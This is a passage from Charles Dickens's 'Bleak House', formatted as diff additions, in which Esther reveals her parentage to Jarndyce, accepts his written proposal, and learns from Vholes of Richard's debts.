+poorly to-day. By going home with Mr. Jarndyce for a day or two, I
+shall hear the larks sing and preserve my amiability. It has been
+tried, you know, and would be tried again if I remained at home."
+
+"That bad man!" said the Comedy daughter.
+
+"At the very time when he knew papa was lying ill by his wallflowers,
+looking at the blue sky," Laura complained.
+
+"And when the smell of hay was in the air!" said Arethusa.
+
+"It showed a want of poetry in the man," Mr. Skimpole assented, but
+with perfect good humour. "It was coarse. There was an absence of the
+finer touches of humanity in it! My daughters have taken great
+offence," he explained to us, "at an honest man--"
+
+"Not honest, papa. Impossible!" they all three protested.
+
+"At a rough kind of fellow--a sort of human hedgehog rolled up," said
+Mr. Skimpole, "who is a baker in this neighbourhood and from whom we
+borrowed a couple of arm-chairs. We wanted a couple of arm-chairs,
+and we hadn't got them, and therefore of course we looked to a man
+who HAD got them, to lend them. Well! This morose person lent them,
+and we wore them out. When they were worn out, he wanted them back.
+He had them back. He was contented, you will say. Not at all. He
+objected to their being worn. I reasoned with him, and pointed out
+his mistake. I said, 'Can you, at your time of life, be so
+headstrong, my friend, as to persist that an arm-chair is a thing to
+put upon a shelf and look at? That it is an object to contemplate, to
+survey from a distance, to consider from a point of sight? Don't you
+KNOW that these arm-chairs were borrowed to be sat upon?' He was
+unreasonable and unpersuadable and used intemperate language. Being
+as patient as I am at this minute, I addressed another appeal to him.
+I said, 'Now, my good man, however our business capacities may vary,
+we are all children of one great mother, Nature. On this blooming
+summer morning here you see me' (I was on the sofa) 'with flowers
+before me, fruit upon the table, the cloudless sky above me, the air
+full of fragrance, contemplating Nature. I entreat you, by our common
+brotherhood, not to interpose between me and a subject so sublime,
+the absurd figure of an angry baker!' But he did," said Mr. Skimpole,
+raising his laughing eyes in playful astonishment; "he did interpose
+that ridiculous figure, and he does, and he will again. And therefore
+I am very glad to get out of his way and to go home with my friend
+Jarndyce."
+
+It seemed to escape his consideration that Mrs. Skimpole and the
+daughters remained behind to encounter the baker, but this was so old
+a story to all of them that it had become a matter of course. He took
+leave of his family with a tenderness as airy and graceful as any
+other aspect in which he showed himself and rode away with us in
+perfect harmony of mind. We had an opportunity of seeing through some
+open doors, as we went downstairs, that his own apartment was a
+palace to the rest of the house.
+
+I could have no anticipation, and I had none, that something very
+startling to me at the moment, and ever memorable to me in what
+ensued from it, was to happen before this day was out. Our guest was
+in such spirits on the way home that I could do nothing but listen to
+him and wonder at him; nor was I alone in this, for Ada yielded to
+the same fascination. As to my guardian, the wind, which had
+threatened to become fixed in the east when we left Somers Town,
+veered completely round before we were a couple of miles from it.
+
+Whether of questionable childishness or not in any other matters, Mr.
+Skimpole had a child's enjoyment of change and bright weather. In no
+way wearied by his sallies on the road, he was in the drawing-room
+before any of us; and I heard him at the piano while I was yet
+looking after my housekeeping, singing refrains of barcaroles and
+drinking songs, Italian and German, by the score.
+
+We were all assembled shortly before dinner, and he was still at the
+piano idly picking out in his luxurious way little strains of music,
+and talking between whiles of finishing some sketches of the ruined
+old Verulam wall to-morrow, which he had begun a year or two ago and
+had got tired of, when a card was brought in and my guardian read
+aloud in a surprised voice, "Sir Leicester Dedlock!"
+
+The visitor was in the room while it was yet turning round with me
+and before I had the power to stir. If I had had it, I should have
+hurried away. I had not even the presence of mind, in my giddiness,
+to retire to Ada in the window, or to see the window, or to know
+where it was. I heard my name and found that my guardian was
+presenting me before I could move to a chair.
+
+"Pray be seated, Sir Leicester."
+
+"Mr. Jarndyce," said Sir Leicester in reply as he bowed and seated
+himself, "I do myself the honour of calling here--"
+
+"You do ME the honour, Sir Leicester."
+
+"Thank you--of calling here on my road from Lincolnshire to express
+my regret that any cause of complaint, however strong, that I may
+have against a gentleman who--who is known to you and has been your
+host, and to whom therefore I will make no farther reference, should
+have prevented you, still more ladies under your escort and charge,
+from seeing whatever little there may be to gratify a polite and
+refined taste at my house, Chesney Wold."
+
+"You are exceedingly obliging, Sir Leicester, and on behalf of those
+ladies (who are present) and for myself, I thank you very much."
+
+"It is possible, Mr. Jarndyce, that the gentleman to whom, for the
+reasons I have mentioned, I refrain from making further allusion--it
+is possible, Mr. Jarndyce, that that gentleman may have done me the
+honour so far to misapprehend my character as to induce you to
+believe that you would not have been received by my local
+establishment in Lincolnshire with that urbanity, that courtesy,
+which its members are instructed to show to all ladies and gentlemen
+who present themselves at that house. I merely beg to observe, sir,
+that the fact is the reverse."
+
+My guardian delicately dismissed this remark without making any
+verbal answer.
+
+"It has given me pain, Mr. Jarndyce," Sir Leicester weightily
+proceeded. "I assure you, sir, it has given--me--pain--to learn from
+the housekeeper at Chesney Wold that a gentleman who was in your
+company in that part of the county, and who would appear to possess a
+cultivated taste for the fine arts, was likewise deterred by some
+such cause from examining the family pictures with that leisure, that
+attention, that care, which he might have desired to bestow upon them
+and which some of them might possibly have repaid." Here he produced
+a card and read, with much gravity and a little trouble, through his
+eye-glass, "Mr. Hirrold--Herald--Harold--Skampling--Skumpling--I beg
+your pardon--Skimpole."
+
+"This is Mr. Harold Skimpole," said my guardian, evidently surprised.
+
+"Oh!" exclaimed Sir Leicester, "I am happy to meet Mr. Skimpole and
+to have the opportunity of tendering my personal regrets. I hope,
+sir, that when you again find yourself in my part of the county, you
+will be under no similar sense of restraint."
+
+"You are very obliging, Sir Leicester Dedlock. So encouraged, I shall
+certainly give myself the pleasure and advantage of another visit to
+your beautiful house. The owners of such places as Chesney Wold,"
+said Mr. Skimpole with his usual happy and easy air, "are public
+benefactors. They are good enough to maintain a number of delightful
+objects for the admiration and pleasure of us poor men; and not to
+reap all the admiration and pleasure that they yield is to be
+ungrateful to our benefactors."
+
+Sir Leicester seemed to approve of this sentiment highly. "An artist,
+sir?"
+
+"No," returned Mr. Skimpole. "A perfectly idle man. A mere amateur."
+
+Sir Leicester seemed to approve of this even more. He hoped he might
+have the good fortune to be at Chesney Wold when Mr. Skimpole next
+came down into Lincolnshire. Mr. Skimpole professed himself much
+flattered and honoured.
+
+"Mr. Skimpole mentioned," pursued Sir Leicester, addressing himself
+again to my guardian, "mentioned to the housekeeper, who, as he may
+have observed, is an old and attached retainer of the family--"
+
+("That is, when I walked through the house the other day, on the
+occasion of my going down to visit Miss Summerson and Miss Clare,"
+Mr. Skimpole airily explained to us.)
+
+"--That the friend with whom he had formerly been staying there was
+Mr. Jarndyce." Sir Leicester bowed to the bearer of that name. "And
+hence I became aware of the circumstance for which I have professed
+my regret. That this should have occurred to any gentleman, Mr.
+Jarndyce, but especially a gentleman formerly known to Lady Dedlock,
+and indeed claiming some distant connexion with her, and for whom (as
+I learn from my Lady herself) she entertains a high respect, does, I
+assure you, give--me--pain."
+
+"Pray say no more about it, Sir Leicester," returned my guardian. "I
+am very sensible, as I am sure we all are, of your consideration.
+Indeed the mistake was mine, and I ought to apologize for it."
+
+I had not once looked up. I had not seen the visitor and had not even
+appeared to myself to hear the conversation. It surprises me to find
+that I can recall it, for it seemed to make no impression on me as it
+passed. I heard them speaking, but my mind was so confused and my
+instinctive avoidance of this gentleman made his presence so
+distressing to me that I thought I understood nothing, through the
+rushing in my head and the beating of my heart.
+
+"I mentioned the subject to Lady Dedlock," said Sir Leicester,
+rising, "and my Lady informed me that she had had the pleasure of
+exchanging a few words with Mr. Jarndyce and his wards on the
+occasion of an accidental meeting during their sojourn in the
+vicinity. Permit me, Mr. Jarndyce, to repeat to yourself, and to
+these ladies, the assurance I have already tendered to Mr. Skimpole.
+Circumstances undoubtedly prevent my saying that it would afford me
+any gratification to hear that Mr. Boythorn had favoured my house
+with his presence, but those circumstances are confined to that
+gentleman himself and do not extend beyond him."
+
+"You know my old opinion of him," said Mr. Skimpole, lightly
+appealing to us. "An amiable bull who is determined to make every
+colour scarlet!"
+
+Sir Leicester Dedlock coughed as if he could not possibly hear
+another word in reference to such an individual and took his leave
+with great ceremony and politeness. I got to my own room with all
+possible speed and remained there until I had recovered my
+self-command. It had been very much disturbed, but I was thankful to
+find when I went downstairs again that they only rallied me for
+having been shy and mute before the great Lincolnshire baronet.
+
+By that time I had made up my mind that the period was come when I
+must tell my guardian what I knew. The possibility of my being
+brought into contact with my mother, of my being taken to her house,
+even of Mr. Skimpole's, however distantly associated with me,
+receiving kindnesses and obligations from her husband, was so painful
+that I felt I could no longer guide myself without his assistance.
+
+When we had retired for the night, and Ada and I had had our usual
+talk in our pretty room, I went out at my door again and sought my
+guardian among his books. I knew he always read at that hour, and as
+I drew near I saw the light shining out into the passage from his
+reading-lamp.
+
+"May I come in, guardian?"
+
+"Surely, little woman. What's the matter?"
+
+"Nothing is the matter. I thought I would like to take this quiet
+time of saying a word to you about myself."
+
+He put a chair for me, shut his book, and put it by, and turned his
+kind attentive face towards me. I could not help observing that it
+wore that curious expression I had observed in it once before--on
+that night when he had said that he was in no trouble which I could
+readily understand.
+
+"What concerns you, my dear Esther," said he, "concerns us all. You
+cannot be more ready to speak than I am to hear."
+
+"I know that, guardian. But I have such need of your advice and
+support. Oh! You don't know how much need I have to-night."
+
+He looked unprepared for my being so earnest, and even a little
+alarmed.
+
+"Or how anxious I have been to speak to you," said I, "ever since the
+visitor was here to-day."
+
+"The visitor, my dear! Sir Leicester Dedlock?"
+
+"Yes."
+
+He folded his arms and sat looking at me with an air of the
+profoundest astonishment, awaiting what I should say next. I did not
+know how to prepare him.
+
+"Why, Esther," said he, breaking into a smile, "our visitor and you
+are the two last persons on earth I should have thought of connecting
+together!"
+
+"Oh, yes, guardian, I know it. And I too, but a little while ago."
+
+The smile passed from his face, and he became graver than before. He
+crossed to the door to see that it was shut (but I had seen to that)
+and resumed his seat before me.
+
+"Guardian," said I, "do you remember, when we were overtaken by the
+thunder-storm, Lady Dedlock's speaking to you of her sister?"
+
+"Of course. Of course I do."
+
+"And reminding you that she and her sister had differed, had gone
+their several ways?"
+
+"Of course."
+
+"Why did they separate, guardian?"
+
+His face quite altered as he looked at me. "My child, what questions
+are these! I never knew. No one but themselves ever did know, I
+believe. Who could tell what the secrets of those two handsome and
+proud women were! You have seen Lady Dedlock. If you had ever seen
+her sister, you would know her to have been as resolute and haughty
+as she."
+
+"Oh, guardian, I have seen her many and many a time!"
+
+"Seen her?"
+
+He paused a little, biting his lip. "Then, Esther, when you spoke to
+me long ago of Boythorn, and when I told you that he was all but
+married once, and that the lady did not die, but died to him, and
+that that time had had its influence on his later life--did you know
+it all, and know who the lady was?"
+
+"No, guardian," I returned, fearful of the light that dimly broke
+upon me. "Nor do I know yet."
+
+"Lady Dedlock's sister."
+
+"And why," I could scarcely ask him, "why, guardian, pray tell me why
+were THEY parted?"
+
+"It was her act, and she kept its motives in her inflexible heart. He
+afterwards did conjecture (but it was mere conjecture) that some
+injury which her haughty spirit had received in her cause of quarrel
+with her sister had wounded her beyond all reason, but she wrote him
+that from the date of that letter she died to him--as in literal
+truth she did--and that the resolution was exacted from her by her
+knowledge of his proud temper and his strained sense of honour, which
+were both her nature too. In consideration for those master points in
+him, and even in consideration for them in herself, she made the
+sacrifice, she said, and would live in it and die in it. She did
+both, I fear; certainly he never saw her, never heard of her from
+that hour. Nor did any one."
+
+"Oh, guardian, what have I done!" I cried, giving way to my grief;
+"what sorrow have I innocently caused!"
+
+"You caused, Esther?"
+
+"Yes, guardian. Innocently, but most surely. That secluded sister is
+my first remembrance."
+
+"No, no!" he cried, starting.
+
+"Yes, guardian, yes! And HER sister is my mother!"
+
+I would have told him all my mother's letter, but he would not hear
+it then. He spoke so tenderly and wisely to me, and he put so plainly
+before me all I had myself imperfectly thought and hoped in my better
+state of mind, that, penetrated as I had been with fervent gratitude
+towards him through so many years, I believed I had never loved him
+so dearly, never thanked him in my heart so fully, as I did that
+night. And when he had taken me to my room and kissed me at the door,
+and when at last I lay down to sleep, my thought was how could I ever
+be busy enough, how could I ever be good enough, how in my little way
+could I ever hope to be forgetful enough of myself, devoted enough to
+him, and useful enough to others, to show him how I blessed and
+honoured him.
+
+
+
+
+CHAPTER XLIV
+
+The Letter and the Answer
+
+
+My guardian called me into his room next morning, and then I told him
+what had been left untold on the previous night. There was nothing to
+be done, he said, but to keep the secret and to avoid another such
+encounter as that of yesterday. He understood my feeling and entirely
+shared it. He charged himself even with restraining Mr. Skimpole from
+improving his opportunity. One person whom he need not name to me, it
+was not now possible for him to advise or help. He wished it were,
+but no such thing could be. If her mistrust of the lawyer whom she
+had mentioned were well-founded, which he scarcely doubted, he
+dreaded discovery. He knew something of him, both by sight and by
+reputation, and it was certain that he was a dangerous man. Whatever
+happened, he repeatedly impressed upon me with anxious affection and
+kindness, I was as innocent of as himself and as unable to influence.
+
+"Nor do I understand," said he, "that any doubts tend towards you, my
+dear. Much suspicion may exist without that connexion."
+
+"With the lawyer," I returned. "But two other persons have come into
+my mind since I have been anxious. Then I told him all about Mr.
+Guppy, who I feared might have had his vague surmises when I little
+understood his meaning, but in whose silence after our last interview
+I expressed perfect confidence.
+
+"Well," said my guardian. "Then we may dismiss him for the present.
+Who is the other?"
+
+I called to his recollection the French maid and the eager offer of
+herself she had made to me.
+
+"Ha!" he returned thoughtfully. "That is a more alarming person than
+the clerk. But after all, my dear, it was but seeking for a new
+service. She had seen you and Ada a little while before, and it was
+natural that you should come into her head. She merely proposed
+herself for your maid, you know. She did nothing more."
+
+"Her manner was strange," said I.
+
+"Yes, and her manner was strange when she took her shoes off and
+showed that cool relish for a walk that might have ended in her
+death-bed," said my guardian. "It would be useless self-distress and
+torment to reckon up such chances and possibilities. There are very
+few harmless circumstances that would not seem full of perilous
+meaning, so considered. Be hopeful, little woman. You can be nothing
+better than yourself; be that, through this knowledge, as you were
+before you had it. It is the best you can do for everybody's sake. I,
+sharing the secret with you--"
+
+"And lightening it, guardian, so much," said I.
+
+"--will be attentive to what passes in that family, so far as I can
+observe it from my distance. And if the time should come when I can
+stretch out a hand to render the least service to one whom it is
+better not to name even here, I will not fail to do it for her dear
+daughter's sake."
+
+I thanked him with my whole heart. What could I ever do but thank
+him! I was going out at the door when he asked me to stay a moment.
+Quickly turning round, I saw that same expression on his face again;
+and all at once, I don't know how, it flashed upon me as a new and
+far-off possibility that I understood it.
+
+"My dear Esther," said my guardian, "I have long had something in my
+thoughts that I have wished to say to you."
+
+"Indeed?"
+
+"I have had some difficulty in approaching it, and I still have. I
+should wish it to be so deliberately said, and so deliberately
+considered. Would you object to my writing it?"
+
+"Dear guardian, how could I object to your writing anything for ME to
+read?"
+
+"Then see, my love," said he with his cheery smile, "am I at this
+moment quite as plain and easy--do I seem as open, as honest and
+old-fashioned--as I am at any time?"
+
+I answered in all earnestness, "Quite." With the strictest truth, for
+his momentary hesitation was gone (it had not lasted a minute), and
+his fine, sensible, cordial, sterling manner was restored.
+
+"Do I look as if I suppressed anything, meant anything but what I
+said, had any reservation at all, no matter what?" said he with his
+bright clear eyes on mine.
+
+I answered, most assuredly he did not.
+
+"Can you fully trust me, and thoroughly rely on what I profess,
+Esther?"
+
+"Most thoroughly," said I with my whole heart.
+
+"My dear girl," returned my guardian, "give me your hand."
+
+He took it in his, holding me lightly with his arm, and looking down
+into my face with the same genuine freshness and faithfulness of
+manner--the old protecting manner which had made that house my home
+in a moment--said, "You have wrought changes in me, little woman,
+since the winter day in the stage-coach. First and last you have done
+me a world of good since that time."
+
+"Ah, guardian, what have you done for me since that time!"
+
+"But," said he, "that is not to be remembered now."
+
+"It never can be forgotten."
+
+"Yes, Esther," said he with a gentle seriousness, "it is to be
+forgotten now, to be forgotten for a while. You are only to remember
+now that nothing can change me as you know me. Can you feel quite
+assured of that, my dear?"
+
+"I can, and I do," I said.
+
+"That's much," he answered. "That's everything. But I must not take
+that at a word. I will not write this something in my thoughts until
+you have quite resolved within yourself that nothing can change me as
+you know me. If you doubt that in the least degree, I will never
+write it. If you are sure of that, on good consideration, send
+Charley to me this night week--'for the letter.' But if you are not
+quite certain, never send. Mind, I trust to your truth, in this thing
+as in everything. If you are not quite certain on that one point,
+never send!"
+
+"Guardian," said I, "I am already certain, I can no more be changed
+in that conviction than you can be changed towards me. I shall send
+Charley for the letter."
+
+He shook my hand and said no more. Nor was any more said in reference
+to this conversation, either by him or me, through the whole week.
+When the appointed night came, I said to Charley as soon as I was
+alone, "Go and knock at Mr. Jarndyce's door, Charley, and say you
+have come from me--'for the letter.'" Charley went up the stairs, and
+down the stairs, and along the passages--the zig-zag way about the
+old-fashioned house seemed very long in my listening ears that
+night--and so came back, along the passages, and down the stairs, and
+up the stairs, and brought the letter. "Lay it on the table,
+Charley," said I. So Charley laid it on the table and went to bed,
+and I sat looking at it without taking it up, thinking of many
+things.
+
+I began with my overshadowed childhood, and passed through those
+timid days to the heavy time when my aunt lay dead, with her resolute
+face so cold and set, and when I was more solitary with Mrs. Rachael
+than if I had had no one in the world to speak to or to look at. I
+passed to the altered days when I was so blest as to find friends in
+all around me, and to be beloved. I came to the time when I first saw
+my dear girl and was received into that sisterly affection which was
+the grace and beauty of my life. I recalled the first bright gleam of
+welcome which had shone out of those very windows upon our expectant
+faces on that cold bright night, and which had never paled. I lived
+my happy life there over again, I went through my illness and
+recovery, I thought of myself so altered and of those around me so
+unchanged; and all this happiness shone like a light from one central
+figure, represented before me by the letter on the table.
+
+I opened it and read it. It was so impressive in its love for me, and
+in the unselfish caution it gave me, and the consideration it showed
+for me in every word, that my eyes were too often blinded to read
+much at a time. But I read it through three times before I laid it
+down. I had thought beforehand that I knew its purport, and I did. It
+asked me, would I be the mistress of Bleak House.
+
+It was not a love letter, though it expressed so much love, but was
+written just as he would at any time have spoken to me. I saw his
+face, and heard his voice, and felt the influence of his kind
+protecting manner in every line. It addressed me as if our places
+were reversed, as if all the good deeds had been mine and all the
+feelings they had awakened his. It dwelt on my being young, and he
+past the prime of life; on his having attained a ripe age, while I
+was a child; on his writing to me with a silvered head, and knowing
+all this so well as to set it in full before me for mature
+deliberation. It told me that I would gain nothing by such a marriage
+and lose nothing by rejecting it, for no new relation could enhance
+the tenderness in which he held me, and whatever my decision was, he
+was certain it would be right. But he had considered this step anew
+since our late confidence and had decided on taking it, if it only
+served to show me through one poor instance that the whole world
+would readily unite to falsify the stern prediction of my childhood.
+I was the last to know what happiness I could bestow upon him, but of
+that he said no more, for I was always to remember that I owed him
+nothing and that he was my debtor, and for very much. He had often
+thought of our future, and foreseeing that the time must come, and
+fearing that it might come soon, when Ada (now very nearly of age)
+would leave us, and when our present mode of life must be broken up,
+had become accustomed to reflect on this proposal. Thus he made it.
+If I felt that I could ever give him the best right he could have to
+be my protector, and if I felt that I could happily and justly become
+the dear companion of his remaining life, superior to all lighter
+chances and changes than death, even then he could not have me bind
+myself irrevocably while this letter was yet so new to me, but even
+then I must have ample time for reconsideration. In that case, or in
+the opposite case, let him be unchanged in his old relation, in his
+old manner, in the old name by which I called him. And as to his
+bright Dame Durden and little housekeeper, she would ever be the
+same, he knew.
+
+This was the substance of the letter, written throughout with a
+justice and a dignity as if he were indeed my responsible guardian
+impartially representing the proposal of a friend against whom in his
+integrity he stated the full case.
+
+But he did not hint to me that when I had been better looking he had
+had this same proceeding in his thoughts and had refrained from it.
+That when my old face was gone from me, and I had no attractions, he
+could love me just as well as in my fairer days. That the discovery
+of my birth gave him no shock. That his generosity rose above my
+disfigurement and my inheritance of shame. That the more I stood in
+need of such fidelity, the more firmly I might trust in him to the
+last.
+
+But I knew it, I knew it well now. It came upon me as the close of
+the benignant history I had been pursuing, and I felt that I had but
+one thing to do. To devote my life to his happiness was to thank him
+poorly, and what had I wished for the other night but some new means
+of thanking him?
+
+Still I cried very much, not only in the fullness of my heart after
+reading the letter, not only in the strangeness of the prospect--for
+it was strange though I had expected the contents--but as if
+something for which there was no name or distinct idea were
+indefinitely lost to me. I was very happy, very thankful, very
+hopeful; but I cried very much.
+
+By and by I went to my old glass. My eyes were red and swollen, and I
+said, "Oh, Esther, Esther, can that be you!" I am afraid the face in
+the glass was going to cry again at this reproach, but I held up my
+finger at it, and it stopped.
+
+"That is more like the composed look you comforted me with, my dear,
+when you showed me such a change!" said I, beginning to let down my
+hair. "When you are mistress of Bleak House, you are to be as
+cheerful as a bird. In fact, you are always to be cheerful; so let us
+begin for once and for all."
+
+I went on with my hair now, quite comfortably. I sobbed a little
+still, but that was because I had been crying, not because I was
+crying then.
+
+"And so Esther, my dear, you are happy for life. Happy with your best
+friends, happy in your old home, happy in the power of doing a great
+deal of good, and happy in the undeserved love of the best of men."
+
+I thought, all at once, if my guardian had married some one else, how
+should I have felt, and what should I have done! That would have been
+a change indeed. It presented my life in such a new and blank form
+that I rang my housekeeping keys and gave them a kiss before I laid
+them down in their basket again.
+
+Then I went on to think, as I dressed my hair before the glass, how
+often had I considered within myself that the deep traces of my
+illness and the circumstances of my birth were only new reasons why I
+should be busy, busy, busy--useful, amiable, serviceable, in all
+honest, unpretending ways. This was a good time, to be sure, to sit
+down morbidly and cry! As to its seeming at all strange to me at
+first (if that were any excuse for crying, which it was not) that I
+was one day to be the mistress of Bleak House, why should it seem
+strange? Other people had thought of such things, if I had not.
+"Don't you remember, my plain dear," I asked myself, looking at the
+glass, "what Mrs. Woodcourt said before those scars were there about
+your marrying--"
+
+Perhaps the name brought them to my remembrance. The dried remains of
+the flowers. It would be better not to keep them now. They had only
+been preserved in memory of something wholly past and gone, but it
+would be better not to keep them now.
+
+They were in a book, and it happened to be in the next room--our
+sitting-room, dividing Ada's chamber from mine. I took a candle and
+went softly in to fetch it from its shelf. After I had it in my hand,
+I saw my beautiful darling, through the open door, lying asleep, and
+I stole in to kiss her.
+
+It was weak in me, I know, and I could have no reason for crying; but
+I dropped a tear upon her dear face, and another, and another. Weaker
+than that, I took the withered flowers out and put them for a moment
+to her lips. I thought about her love for Richard, though, indeed,
+the flowers had nothing to do with that. Then I took them into my own
+room and burned them at the candle, and they were dust in an instant.
+
+On entering the breakfast-room next morning, I found my guardian just
+as usual, quite as frank, as open, and free. There being not the
+least constraint in his manner, there was none (or I think there was
+none) in mine. I was with him several times in the course of the
+morning, in and out, when there was no one there, and I thought it
+not unlikely that he might speak to me about the letter, but he did
+not say a word.
+
+So, on the next morning, and the next, and for at least a week, over
+which time Mr. Skimpole prolonged his stay. I expected, every day,
+that my guardian might speak to me about the letter, but he never
+did.
+
+I thought then, growing uneasy, that I ought to write an answer. I
+tried over and over again in my own room at night, but I could not
+write an answer that at all began like a good answer, so I thought
+each night I would wait one more day. And I waited seven more days,
+and he never said a word.
+
+At last, Mr. Skimpole having departed, we three were one afternoon
+going out for a ride; and I, being dressed before Ada and going down,
+came upon my guardian, with his back towards me, standing at the
+drawing-room window looking out.
+
+He turned on my coming in and said, smiling, "Aye, it's you, little
+woman, is it?" and looked out again.
+
+I had made up my mind to speak to him now. In short, I had come down
+on purpose. "Guardian," I said, rather hesitating and trembling,
+"when would you like to have the answer to the letter Charley came
+for?"
+
+"When it's ready, my dear," he replied.
+
+"I think it is ready," said I.
+
+"Is Charley to bring it?" he asked pleasantly.
+
+"No. I have brought it myself, guardian," I returned.
+
+I put my two arms round his neck and kissed him, and he said was this
+the mistress of Bleak House, and I said yes; and it made no
+difference presently, and we all went out together, and I said
+nothing to my precious pet about it.
+
+
+
+
+CHAPTER XLV
+
+In Trust
+
+
+One morning when I had done jingling about with my baskets of keys,
+as my beauty and I were walking round and round the garden I happened
+to turn my eyes towards the house and saw a long thin shadow going in
+which looked like Mr. Vholes. Ada had been telling me only that
+morning of her hopes that Richard might exhaust his ardour in the
+Chancery suit by being so very earnest in it; and therefore, not to
+damp my dear girl's spirits, I said nothing about Mr. Vholes's
+shadow.
+
+Presently came Charley, lightly winding among the bushes and tripping
+along the paths, as rosy and pretty as one of Flora's attendants
+instead of my maid, saying, "Oh, if you please, miss, would you step
+and speak to Mr. Jarndyce!"
+
+It was one of Charley's peculiarities that whenever she was charged
+with a message she always began to deliver it as soon as she beheld,
+at any distance, the person for whom it was intended. Therefore I saw
+Charley asking me in her usual form of words to "step and speak" to
+Mr. Jarndyce long before I heard her. And when I did hear her, she
+had said it so often that she was out of breath.
+
+I told Ada I would make haste back and inquired of Charley as we went
+in whether there was not a gentleman with Mr. Jarndyce. To which
+Charley, whose grammar, I confess to my shame, never did any credit
+to my educational powers, replied, "Yes, miss. Him as come down in
+the country with Mr. Richard."
+
+A more complete contrast than my guardian and Mr. Vholes I suppose
+there could not be. I found them looking at one another across a
+table, the one so open and the other so close, the one so broad and
+upright and the other so narrow and stooping, the one giving out what
+he had to say in such a rich ringing voice and the other keeping it
+in in such a cold-blooded, gasping, fish-like manner that I thought I
+never had seen two people so unmatched.
+
+"You know Mr. Vholes, my dear," said my guardian. Not with the
+greatest urbanity, I must say.
+
+Mr. Vholes rose, gloved and buttoned up as usual, and seated himself
+again, just as he had seated himself beside Richard in the gig. Not
+having Richard to look at, he looked straight before him.
+
+"Mr. Vholes," said my guardian, eyeing his black figure as if he were
+a bird of ill omen, "has brought an ugly report of our most
+unfortunate Rick." Laying a marked emphasis on "most unfortunate" as
+if the words were rather descriptive of his connexion with Mr.
+Vholes.
+
+I sat down between them; Mr. Vholes remained immovable, except that
+he secretly picked at one of the red pimples on his yellow face with
+his black glove.
+
+"And as Rick and you are happily good friends, I should like to
+know," said my guardian, "what you think, my dear. Would you be so
+good as to--as to speak up, Mr. Vholes?"
+
+Doing anything but that, Mr. Vholes observed, "I have been saying
+that I have reason to know, Miss Summerson, as Mr. C.'s professional
+adviser, that Mr. C.'s circumstances are at the present moment in an
+embarrassed state. Not so much in point of amount as owing to the
+peculiar and pressing nature of liabilities Mr. C. has incurred and
+the means he has of liquidating or meeting the same. I have staved
+off many little matters for Mr. C., but there is a limit to staving
+off, and we have reached it. I have made some advances out of pocket
+to accommodate these unpleasantnesses, but I necessarily look to
+being repaid, for I do not pretend to be a man of capital, and I have
+a father to support in the Vale of Taunton, besides striving to
+realize some little independence for three dear girls at home. My
+apprehension is, Mr. C.'s circumstances being such, lest it should
+end in his obtaining leave to part with his commission, which at all
+events is desirable to be made known to his connexions."
+
+Mr. Vholes, who had looked at me while speaking, here emerged into
+the silence he could hardly be said to have broken, so stifled was
+his tone, and looked before him again.
+
+"Imagine the poor fellow without even his present resource," said my
+guardian to me. "Yet what can I do? You know him, Esther. He would
+never accept of help from me now. To offer it or hint at it would be
+to drive him to an extremity, if nothing else did."
+
+Mr. Vholes hereupon addressed me again.
+
+"What Mr. Jarndyce remarks, miss, is no doubt the case, and is the
+difficulty. I do not see that anything is to be done. I do not say
+that anything is to be done. Far from it. I merely come down here
+under the seal of confidence and mention it in order that everything
+may be openly carried on and that it may not be said afterwards that
+everything was not openly carried on. My wish is that everything
+should be openly carried on. I desire to leave a good name behind me.
+If I consulted merely my own interests with Mr. C., I should not be
+here. So insurmountable, as you must well know, would be his
+objections. This is not a professional attendance. This can he
+charged to nobody. I have no interest in it except as a member of
+society and a father--AND a son," said Mr. Vholes, who had nearly
+forgotten that point.
+
+It appeared to us that Mr. Vholes said neither more nor less than the
+truth in intimating that he sought to divide the responsibility, such
+as it was, of knowing Richard's situation. I could only suggest that
+I should go down to Deal, where Richard was then stationed, and see
+him, and try if it were possible to avert the worst. Without
+consulting Mr. Vholes on this point, I took my guardian aside to
+propose it, while Mr. Vholes gauntly stalked to the fire and warmed
+his funeral gloves.
+
+The fatigue of the journey formed an immediate objection on my
+guardian's part, but as I saw he had no other, and as I was only too
+happy to go, I got his consent. We had then merely to dispose of Mr.
+Vholes.
+
+"Well, sir," said Mr. Jarndyce, "Miss Summerson will communicate with
+Mr. Carstone, and you can only hope that his position may be yet
+retrievable. You will allow me to order you lunch after your journey,
+sir."
+
+"I thank you, Mr. Jarndyce," said Mr. Vholes, putting out his long
+black sleeve to check the ringing of the bell, "not any. I thank you,
+no, not a morsel. My digestion is much impaired, and I am but a poor
+knife and fork at any time. If I was to partake of solid food at this
+period of the day, I don't know what the consequences might be.
+Everything having been openly carried on, sir, I will now with your
+permission take my leave."
+
+"And I would that you could take your leave, and we could all take
+our leave, Mr. Vholes," returned my guardian bitterly, "of a cause
+you know of."
+
+Mr. Vholes, whose black dye was so deep from head to foot that it had
+quite steamed before the fire, diffusing a very unpleasant perfume,
+made a short one-sided inclination of his head from the neck and
+slowly shook it.
+
+"We whose ambition it is to be looked upon in the light of
+respectable practitioners, sir, can but put our shoulders to the
+wheel. We do it, sir. At least, I do it myself; and I wish to think
+well of my professional brethren, one and all. You are sensible of an
+obligation not to refer to me, miss, in communicating with Mr. C.?"
+
+I said I would be careful not to do it.
+
+"Just so, miss. Good morning. Mr. Jarndyce, good morning, sir." Mr.
+Vholes put his dead glove, which scarcely seemed to have any hand in
+it, on my fingers, and then on my guardian's fingers, and took his
+long thin shadow away. I thought of it on the outside of the coach,
+passing over all the sunny landscape between us and London, chilling
+the seed in the ground as it glided along.
+
+Of course it became necessary to tell Ada where I was going and why I
+was going, and of course she was anxious and distressed. But she was
+too true to Richard to say anything but words of pity and words of
+excuse, and in a more loving spirit still--my dear devoted girl!--she
+wrote him a long letter, of which I took charge.
+
+Charley was to be my travelling companion, though I am sure I wanted
+none and would willingly have left her at home. We all went to London
+that afternoon, and finding two places in the mail, secured them. At
+our usual bed-time, Charley and I were rolling away seaward with the
+Kentish letters.
+
+It was a night's journey in those coach times, but we had the mail to
+ourselves and did not find the night very tedious. It passed with me
+as I suppose it would with most people under such circumstances. At
+one while my journey looked hopeful, and at another hopeless. Now I
+thought I should do some good, and now I wondered how I could ever
+have supposed so. Now it seemed one of the most reasonable things in
+the world that I should have come, and now one of the most
+unreasonable. In what state I should find Richard, what I should say
+to him, and what he would say to me occupied my mind by turns with
+these two states of feeling; and the wheels seemed to play one tune
+(to which the burden of my guardian's letter set itself) over and
+over again all night.
+
+At last we came into the narrow streets of Deal, and very gloomy they
+were upon a raw misty morning. The long flat beach, with its little
+irregular houses, wooden and brick, and its litter of capstans, and
+great boats, and sheds, and bare upright poles with tackle and
